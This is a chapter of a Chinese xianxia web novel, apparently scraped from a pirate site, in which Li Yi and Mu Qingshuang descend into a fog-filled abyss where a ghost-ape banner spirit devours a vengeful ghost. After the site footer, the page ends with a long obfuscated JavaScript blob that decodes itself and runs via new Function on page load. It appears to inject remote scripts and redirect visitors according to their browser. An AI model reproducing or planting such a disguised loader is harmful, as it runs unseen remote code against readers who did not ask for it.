第448章 鬼渊(求月票)
在入谷之前。
李易对所有可能生长伏妖仙草的绝地,都做过一番极其详尽的梳理与比对。
其中,这处名为“鬼渊”的绝地,被标注为落仙谷中最为凶险的区域之一。
风罗部所绘的地形图上,不但以显眼字样标出“蛇冥虫巢穴”的警示。
更特别注明,此地终年为浓郁阴煞鬼雾笼罩。
修士一旦深入,不但视线受阻,连神识也会遭到严重压制。
渊底深处,更潜伏着数头极为凶厉的二阶后期鬼物。
其凶险莫测,可见一斑。
然而李易深知修仙界一条颠扑不破的铁则:
越是令人望而却步的凶险之地,敢于闯入的修士便越少。
其中孕育的灵物反而更可能完好留存。
换句话说,危险越高,走空的可能性反而越低。
那些相对安全容易抵达的区域,恐怕早在落仙谷开启的头几天,就被实力强劲或者运气好的修士搜刮一空了。
也正是基于这种判断,他才与牧清霜商议后,决定剑走偏锋,直奔这处令人望而生畏的鬼渊。
同时,他也在心中快速盘算着目前的收获:
牧清霜手中已有一株完整的伏妖仙草,足以让她向牧家交差。
而自己这边,灵府洞天之内,已然拥有一大一小两株仙草。
那株成熟的,必然自用。
无论是研究其特性,还是以其凝露喂养小龟,都价值无穷。
而只有一株仙草是无法保证南宫家在修盟傲视群雄的。
至少是不够稳妥。
如果再加上鬼渊深处的这一株,目标就算达成。
……
恰在此时,牧清霜醒了过来。
当她听完李易的一番分析后,却并未立刻表示赞同。
而是轻轻摇了摇头,提出了不同的看法:
“冤家,你的推断大体不差,但有一点,我总觉得有些蹊跷。”
李易闻言微微一怔,看向她:“仙子有何高见?”
牧清霜沉吟道:“你难道不觉得奇怪吗?
“但凡群居性的妖虫,几乎必然存在一位统御整个族群的‘虫王’。
“其实力远非普通个体可比。
“我们刚才遭遇的蛇冥虫数量近百,已然算是一个不小的妖虫群落。
“可自始至终,我们都未曾感知到任何疑似虫王的强大气息出现。”
她顿了顿,指出了另一个疑点:
“而且,我们此刻距离鬼渊尚有十余里,并未真正踏入其核心地带,却提前遭遇了如此规模的蛇冥虫群主动袭击。
“这行为,不像是简单的领地巡逻,反倒更像是受到了某种指令,有计划地阻击外来者。
“若我没猜错的话,非常有可能是那未曾露面的虫王在背后指挥调度。”
李易仔细回味着方才战斗的细节,脸色渐渐凝重起来。
自己却是忽略了这点不合常理之处。
此刻被佳人点醒,立刻意识到了自己观察的漏洞。
“牧姐姐言之有理——
“细细想来,那处鬼渊深处,很可能还潜藏着一只实力更为强大的蛇冥虫王。”
牧清霜点了点头,语气肯定:
“虽不敢说是百分百,但至少有九成可能!
“虫王通常不会轻易离开巢穴核心,它很可能就坐镇在那株伏妖仙草附近。”
看到李易神色忽然变得异常严肃。
她又展颜一笑,轻轻握住李易的手宽慰道:
“不过,也无需过于担忧。
“易哥儿,你身负精妙绝伦的雷法,正是这些阴邪鬼物的克星。
“加之你手中那几件威力不凡的异宝,无论是攻是守,都足以应对强敌。”
她微微挺直了腰背,周身假丹境界的灵压自然而然地流转:
“而姐姐如今也已稳固了假丹境界。
“我有青针古宝护身,咱们互为犄角,相互策应,足以与那虫王周旋。
“甚至寻隙将其一举灭杀。
“况且,别忘了,你那杆雷魂幡中的鬼猿器灵,其属性至阴至煞。
“在这等鬼气森森的环境之中,简直是如鱼得水,实力恐怕能发挥出十二成。
“说不定,无需你我亲自出手。
“它自己就能料理了那所谓的虫王,为我们扫清障碍。”
说完这番周全的分析,她轻盈起身,舒展了一下因久坐而略显僵硬的腰肢。
丰腴曼妙的曲线在动作间展露无遗。
她回眸对李易嫣然一笑:
“易哥儿,事不宜迟。
“早些找到仙草,我们也能早些离开这个危机四伏,让人浑身不自在的鬼地方。
“多停留一刻,便多一分变数。”
恰在此时,李易将探查四周的神识尽数收回,闻言立即点头:
“好!
“就依牧姐姐所言,我们这便出发。”
说罢,他心念一动,青雷翅在背后倏然展开。
噼啪作响的霹雳电光瞬间缠绕而上,发出阵阵雷鸣之声,在这寂静的鬼雾森林边缘显得格外清晰。
他伸出手,轻轻揽住牧清霜那不堪一握好似水蛇一般的纤腰。
牧清霜也顺势依偎在他怀中,玉手极为自然的轻轻搭在他的肩头。
“走了——”
李易低喝一声,体内法力汹涌灌注进青雷翅。
下一刻,两人身形模糊。
化作一道迅疾无伦缠绕着青色电光的惊虹,朝着正北方位疾遁而去!
……
风声在耳边猎猎作响。
下方的林木化作一片模糊的墨绿,以浮光掠影之速向后飞掠。
虽然风罗部的地图上清晰标注着,从他们先前歇脚之处到鬼渊边缘,直线距离不过十六七里。
这段路程对凡人而言都算不得遥远。
对拥有青雷翅这等飞行至宝的李易来说,本该是振翅即至。
可这片笼罩在灰暗中的密林,凶险程度却远超纸面记载。
越往深处,林中弥漫的雾气便越发浓重。
不仅严重阻碍视线,也干扰着李易的神识探查。
更棘手的是,那翻涌的雾障之中,时常毫无预兆地窜出诸多三阶鬼物。
其中不乏相当于筑基中期巅峰的存在。
更有少数凶戾鬼物,几近筑基后期。
它们藏身雾中,伺机而动,逼得李易不得不屡屡放缓遁光,小心应对。
攻击方法可谓千奇百怪。
有些发出凄厉尖啸,音波直贯识海,扰人心神,令人气血翻涌。
有些张口喷吐墨色鬼气,阴寒蚀骨,稍一沾染便如坠冰窟,连灵力运转都为之凝滞。
更有一些形如骷髅的妖兽。
骨架坚逾精铁,力大无穷。
悍不畏死地扑杀而来,颇为难缠。
虽凭二人修为,这些鬼物尚不足以致命。
但每一次突袭都如暗处射来的冷箭。
迫使李易要么出手将其击退。
要么催动青雷翅在雾中腾挪闪避。
原本迅疾的遁速一再迟滞。
此外,林中亦有一些肉眼难辨,神识也难以提前精准捕捉的空间裂缝。
比起诸多鬼物来更加的危险。
李易不得不将大部分神识用于感知前方空间灵气的细微波动,以免一头撞进去。
这一路可谓是走走停停,足足耗费了大半个时辰,两人方才真正抵达了鬼渊的边缘地带。
刚一靠近,眼前的景象便豁然一变。
与之前的鬼雾森林截然不同。
一股更加阴冷刺骨好似能冻结神魂的寒意扑面而来。
让两人不由自主地全力运转体内法力,在周身形成护体灵光,以抵抗这股深入骨髓的阴寒。
只见前方大地之上,赫然出现了一道巨大无比蔓延至天际的裂痕。
犹如某位来自上界的散仙,手持仙宝,以莫大法力硬生生将这片大地劈开了一般。
带着一种蛮荒而惨烈的气息。
渊口宽阔无比,凭二人的目力,一眼竟望不到对岸。
只能看到对面笼罩在同样浓郁的灰黑色雾气之中。
影影绰绰,如同鬼域。
向下望去,更是深不见底。
并且,渊中充斥的并非流水。
而是浓郁得化不开如同实质般的灰黑色雾气!
正是典籍中记载,能侵蚀神识消磨法力的阴煞鬼雾。
浓郁的阴气升腾翻滚,连光线似乎都被这雾气吞噬,显得异常昏暗。
好似到了鬼界的九幽之地。
李易凝视着这般景象,脸上惯有的从容被一丝凝重取代。
他回想起方才神识探查时感应到的几股强大气息。
尤其是两三道深沉内敛带着王者威压的阴气波动,不由得微微蹙眉。
他转向身旁的牧清霜苦笑一声:
“牧仙子,是李某考虑不周了。
“这鬼渊比我们想象的还要凶险数倍。
“此处阴煞之气如此浓郁,恐怕不止孕育有蛇冥虫王。
“必然还有其它诡异存在。
“其威压,一点不比那玄阴玉蛛与妖鹤差,甚至还强上三分。
“若是早知道这般境况……”
他顿了顿,语气中带着歉意:
“要不要我们另寻一处可能存在伏妖仙草的地方?”
牧清霜闻言却是轻轻摇头。
声音清晰且极为冷静:
“呆子,自责什么?
“这落仙谷中,但凡是可能存在伏妖仙草的地方,哪一处不是龙潭虎穴?
“正如你之前所说,风险往往与机遇并存。
“越是这等常人不敢踏足的绝地,仙草得以保存的可能性反而越大。
“况且,因为我冲击假丹境界,我们已经在谷外耽搁了整整十余日。
“这期间,落仙谷不知有多少修士涌入其中。
“那些容易抵达,风险稍低的区域,不可能再有伏妖仙草的存在。
“我们现在若是转头去往别处,大概率只会白跑一趟,徒耗时间。”
说到这里,她的语气忽然变得轻柔起来。
就如同一位体贴的贤内助般温言宽慰:
“再者,即便这鬼渊之中真的危险重重,以至于你我最终无法采得那株仙草。
“凭你我如今的实力和手段,想要全身而退,绝非难事。
“况且,你我已经各自拥有了一株伏妖仙草。
“我那一株,足以向族中交差,甚至还能获得不菲的奖赏。
“而你手中的那一株,也足够给南宫家一个交代。
“眼前鬼渊中的这一株,不过是锦上添花之物。
“有则更好,无亦无妨,并非决定成败的关键。
“我们尽力而为即可,不必为此背负太大的压力,更不必有破釜沉舟之心。”
言至此处,牧清霜忽然话锋一转:
“若是南宫家的那两位元婴前辈,当真对你这未来的孙女婿不满意,嫌弃你功劳不够显赫……”
她故意停顿了一下。
看到李易略显尴尬的神情,又噗嗤一笑,半是玩笑半是认真地说道:
“那也无妨。
“大不了你来灵药岛,陪着姐姐一同钻研丹道。
“以你的丹道悟性和雷法之玄妙,说不定还能帮我淬炼些难以处理的丹材呢。”
她说着忽然倾身向前,香风拂过李易耳畔,嗓音里带着几分撩人的甜腻:
“就算在姐姐身边做个吃软饭的小白脸也无妨。
“以我灵药岛副岛主的身份,怎么也能将你养得白白胖胖的,断不会让你受半点委屈。”
这番话既带着嫁过人后的美妇人特有的大胆风情。
又在玩笑间藏着万般真心。
可说是故意用这般轻佻的语气,将那份难以直诉的情意表达出来。
李易被她这番话说得耳根发烫。
下意识摸了摸鼻尖,讪讪地别开视线。
这位牧仙子当真是美艳到极点的妖精。
三言两语就搅得自己心绪不宁。
偏生又拿她这般半真半假的姿态毫无办法。
然而,在他心底深处,一股暖流却悄然涌动。
他并非畏惧这鬼渊的危险。
修行之路本就是逆天而行,他更是早已习惯了与各种险境搏杀。
方才的犹豫,更多的是出于对身边佳人的担忧。
在不知不觉的相处中,牧清霜被他视作了需要用心守护的人。
不是道侣,却也相差无多。
他不愿让她因自己的决策而涉入过于危险的境地。
但牧清霜这番理智的分析与毫无保留的支持,彻底打消了他的顾虑。
“是啊……”
“我既有专克阴邪的雷霆道法,又有雷魂幡这等异宝。
“更有鬼猿器灵这等在此地如鱼得水的助力,还有何惧之?
“若是连这等险地都不敢闯。
“未来又如何面对更加艰难的大道之途?”
念及于此,他眼中最后一丝犹豫尽去。
“既然如此,那便闯一闯这龙潭虎穴!”
他单手掐诀,朝着腰间储物袋一指。
霎时间,一道乌光激射而出,迎风便涨,化作一杆三丈高的巨幡,稳稳立在空中。
幡面乌黑,道道金色雷弧流转不息。
却又不断散发出浓郁至极的阴煞之气。
其精纯程度,竟与这鬼渊中的气息隐隐呼应。
这杆雷魂幡甫一出现,四周的阴气仿佛受到了吸引,开始缓缓向幡面汇聚。
而幡中的鬼猿,它那胖乎乎的鼻子下意识地嗅了嗅。
紧闭的眼皮下,眼珠开始快速转动。
胖脸上露出一丝人性化的惊诧与疑惑。
下一刻,它猛地睁开了铜铃大的双眼。
当它的目光穿透幡面,看到外界那弥漫天地,几乎凝成实质至阴至煞的浓郁鬼气,它直接怔住了。
随即,一股难以抑制的狂喜之色,瞬间淹没了它那张凶恶中又带着几分憨厚的猿脸!
它兴奋地捶打着自己结实的胸膛,周身魂力澎湃涌动,显然对此地满意到了极点。
“磨磨蹭蹭的,还不赶紧控制雷幡开路?”
李易的声音不大,却如同一声惊雷在鬼猿心头炸响。
鬼猿原本感知到外界精纯无比的阴煞鬼气,欢喜得几乎要从雷魂幡中一跃而出。
如同渴极了的人见到甘泉。
恨不得立刻投身于这片对它而言堪称“洞天福地”的鬼雾之中。
大肆吞噬,饱餐一顿。
然而,主人这声冰冷的呵斥,瞬间让它如遭雷击。
满腔的狂喜瞬间被一盆冰水浇灭。
它猛地打了个激灵,脑海中立刻浮现出自家主人平日里的种种手段。
这位年轻的主人,可绝不是什么心慈手软的善男信女。
行事果决,对敌狠辣,御下更是严苛。
自己若是稍有怠慢或违逆,那滋味……?
鬼猿光是想想,魂体都感觉一阵发凉。
它再不敢有半分迟疑,更不敢表露出先前那副欢欣雀跃的模样。
连忙收敛心神,全力催动雷魂幡。
只见三丈高的巨幡乌光大盛,发出一阵低沉的雷鸣,主动朝着鬼雾区域缓缓飞去。
为身后的李易与牧清霜开辟出一条颇为畅通的道路。
不过,这鬼猿倒也机灵。
或者说,此地精纯鬼气的诱惑实在太大。
它虽不敢明着违背李易的命令放缓速度。
却在暗地里,趁着操控雷幡前行之际,偷偷张开那由魂力凝聚的大口,如同长鲸吸水一般,拼命且贪婪的吞噬着周围如同实质般的鬼雾。
每吞噬一口,它那原本就凝实的身躯似乎就更黝黑一分。
周身散发出的魂力波动也隐隐增强一丝。
那张越来越憨胖的猿脸上,一边保持着对主人的敬畏,小心操控着雷幡。
另一边,却又因这源源不断涌入体内的精纯鬼气,不受控制的流露出极其惬意的神情。
这两种截然不同的情绪交织在猿脸上,透着一丝让人发笑的可爱。
李易将这一切尽收眼底,心中觉得有些好笑,却也懒得点破。
只要这鬼猿能完成开路之责,吞噬些鬼雾增强自身,倒也并非坏事。
他再次伸手,轻轻揽住牧清霜的腰肢:
“仙子,我们跟上。”
……
雷魂幡悬于二人身前。
幡面流转着辟邪金雷。
璀璨的电弧不仅驱散了四周刺骨的阴寒之气。
更在浓稠的鬼雾中映照出一圈柔和而明亮的光晕。
宛如暗夜中的指路明灯。
鬼猿器灵活跃在幡旗前方,巨口开合间,不断将阻碍视线的浓稠鬼雾吞噬入腹。
又呼出相对稀薄的气息,硬生生在鬼雾中开辟出一条逐渐向下的通道。
得益于此,李易与牧清霜在下潜过程中并未完全失去方向。
加之二人都修炼了够勘破虚妄,洞彻幽微的破邪法目,
此刻目光所及虽不及外界清明,但也绝非寸步难行。
可以大致看清周围数十丈内的景物轮廓。
偶尔在鬼雾翻涌的间隙,甚至能窥见百丈开外的模糊景象。
而这一看,却让他们发现了意料之外的一幕。
当鬼雾被雷光与鬼猿暂时驱散后,显露出的并非预想中那般白骨堆积,怨魂游荡的阴森场景。
相反,两侧的崖壁竟异常光滑平整,宛如经过精心打磨。
更令人惊异的是,那光滑的岩壁刻满了无数风格古朴的壁画。
其上的图案与纹路在雷光映照下若隐若现,透着一股难以言喻的苍茫与神秘。
内容并非妖魔邪祟,而是一幅幅仙气缭绕的场景:
有仙人驾鹤飞升,飘逸出尘。
有仙女散花,曼妙多姿。
有龙凤呈祥,瑞气千条。
更有诸多修士朝拜,飞升仙界的宏大场面。
如果不是周围依旧浓郁翻滚不休的鬼雾。
以及无孔不入阴冷刺骨的煞气在时刻提醒着李易与牧清霜身处何地。
单看这些壁画,几乎要让人误以为闯入了一处上古仙家遗留的洞天福地。
或者一处超然物外的世外桃源。
仙韵与鬼气并存的诡异景象,形成了一种强烈的反差。
让李易心中都升起一股的古怪感觉。
对这鬼渊的来历,不由得产生了更深的疑惑。
“小心!”
正当两人为这仙家壁画与幽冥鬼气交织的诡异景象而暗自惊疑时。
李易强大的神识猛的一动。
敏锐的捕捉到下方一股极其凶戾的气息正以惊人的速度破开浓雾,疾扑而来。
“鬼猿,下方有东西!”
他低喝一声,朝鬼猿示警的同时,已将牧清霜往身后护了护。
话音未落,只见下方翻滚的鬼雾如同沸水般剧烈涌动。
一道黑影猛的撕裂雾障,显出身形。
竟是一头高约丈许,上半身虚化,下半身是森森骨架,看不出具体面容的鬼物。
其周身缠绕着浓得化不开的墨黑色怨气。
无数张痛苦扭曲、充满憎恨的虚幻面孔在怨气中若隐若现,发出直刺神魂的尖啸。
显然是一头在此地吞噬了无数生灵魂魄,道行不浅的凶物。
它死死锁定在李易和牧清霜这两个生机勃勃的“血食”身上。
带着对生者刻骨的嫉妒与怨恨,利爪箕张,作势便要扑上。
李易眼神一冷,右手已然抬起,一道凌厉的金色雷光在掌心浮现,准备以雷霆之势将这厉鬼绞杀。
然而,鬼猿比他更快。
就在那厉鬼刚刚显形,凶威毕露的刹那。
雷魂幡中,鬼猿那双铜铃大眼中猛地爆发出狂喜的光芒。
对这头由精纯怨气构成的厉鬼,在它眼中,简直是无上的美味佳肴,是送上门来的大补药!
吼——
鬼猿上半身猛的从幡面中探出,速度快得只留下一道模糊的残影。
它张开了仿佛能吞食天地的大口。
口中并非血肉,而是一个急速旋转、深不见底的魂力漩涡!
一股庞大无比的吸力瞬间产生,如同无形的大手,精准地攫住了那头气势汹汹的厉鬼。
厉鬼前扑的势头戛然而止,周身怨气剧烈翻腾,试图抵抗这股吸力。
然而,在这专门克制魂体的鬼猿面前,挣扎显得如此徒劳。
如同长鲸吸水,又似风卷残云。
仅仅是一刹那的功夫,这头凶戾骇人的厉鬼,连同它周身缠绕的浓郁怨气,连一声像样的哀嚎都未能发出,便被鬼猿一口吞入了那魂力漩涡之中。
鬼猿猛的闭合大口,甚至还意犹未尽的咂了咂嘴,脸上露出了极其满足、无比惬意的神情。
它拍了拍自己似乎更加凝实几分的肚皮,然后偷偷朝自家主人瞧了一眼,才慢悠悠的将身躯缩回雷魂幡内。
整个过程行云流水,仿佛只是做了一件微不足道的小事。
而雷魂幡,在鬼猿吞噬了这头厉鬼后,幡面上的乌光似乎更加深邃了几分。
李易抬起的手缓缓放下,掌心闪烁的乌光悄然隐去。
他与身旁的牧清霜对视一眼,都从对方眼中看到了一丝惊讶与莞尔。
有这等凶悍又贪吃的鬼猿开路,不知道可以省却多少麻烦。
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();